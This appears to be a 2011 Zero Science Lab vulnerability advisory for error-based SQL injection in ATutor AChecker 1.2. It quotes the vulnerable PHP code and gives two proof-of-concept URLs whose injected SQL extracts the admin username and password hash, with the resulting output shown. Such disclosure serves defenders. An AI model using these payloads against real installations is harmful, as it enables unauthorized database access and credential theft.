ATutor AChecker 1.2 SQL Injection

`  
AChecker 1.2 Multiple Error-Based SQL Injection vulnerabilities  
  
  
Vendor: ATutor (Inclusive Design Institute)  
Product web page: http://www.atutor.ca  
Affected version: 1.2 (build r530)  
  
Summary: AChecker is an open source Web accessibility evaluation tool.  
It can be used to review the accessibility of Web pages based on a variety  
international accessibility guidelines.  
  
Desc: Input passed via the parameter 'myown_patch_id' in '/updater/patch_edit.php'  
and the parameter 'id' in '/user/user_create_edit.php' script is not properly  
sanitised before being used in SQL queries. This can be exploited to manipulate  
SQL queries by injecting arbitrary SQL code.  
  
  
==========================================================================  
  
/updater/patch_edit.php:  
------------------------------  
  
20: if (!isset($_REQUEST["myown_patch_id"]))  
21: {  
22: $msg->addError('NO_ITEM_SELECTED');  
23: exit;  
24: }  
25:   
26: $myown_patch_id = $_REQUEST["myown_patch_id"];  
27:   
28: $myownPatchesDAO = new MyownPatchesDAO();  
29: $myownPatchesDependentDAO = new MyownPatchesDependentDAO();  
30: $myownPatchesFilesDAO = new MyownPatchesFilesDAO();  
31:   
32: // URL called by form action  
33: $savant->assign('url', dirname($_SERVER['PHP_SELF']) . "/patch_creator.php?myown_patch_id=" . $myown_patch_id);  
34:   
35: $savant->assign('patch_row', $myownPatchesDAO->getByID($myown_patch_id));  
36: $savant->assign('dependent_rows', $myownPatchesDependentDAO->getByPatchID($myown_patch_id));  
37: $savant->assign('file_rows', $myownPatchesFilesDAO->getByPatchID($myown_patch_id));  
  
  
------------------------------------------------------------------------  
  
/user/user_create_edit.php:  
------------------------------  
  
103: if (isset($_GET['id'])) // edit existing user  
104: {  
105: $usersDAO = new UsersDAO();  
106: $savant->assign('user_row', $usersDAO->getUserByID($_GET['id']));  
107: $savant->assign('show_password', false);  
108:   
109: }  
  
==========================================================================  
  
  
Tested on: Microsoft Windows XP Professional SP3 (EN)  
Apache 2.2.14 (Win32)  
PHP 5.3.1  
MySQL 5.1.41  
  
  
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
Zero Science Lab - http://www.zeroscience.mk  
  
  
Advisory ID: ZSL-2011-5034  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5034.php  
  
  
01.08.2011  
  
--  
  
PoC:  
  
  
- http://localhost/updater/patch_edit.php?myown_patch_id=1 and(select 1 from(select count(*),concat((select (select login) from `ac_users` limit 1,1),floor(rand(0)*2))x from `information_schema`.tables group by 2)j)  
  
+ Output:  
  
Duplicate entry 'admin1' for key 'group_key'  
  
  
-==========================-  
  
  
- http://localhost/user/user_create_edit.php?id=78 and(select 1 from(select count(*),concat((select (select password) from `ac_users` limit 1,1),floor(rand(0)*2))x from `information_schema`.tables group by 2)j)  
  
+ Ouput:  
  
Duplicate entry 'd033e22ae348aeb5660fc2140aec35850c4da9971' for key 'group_key'  
  
`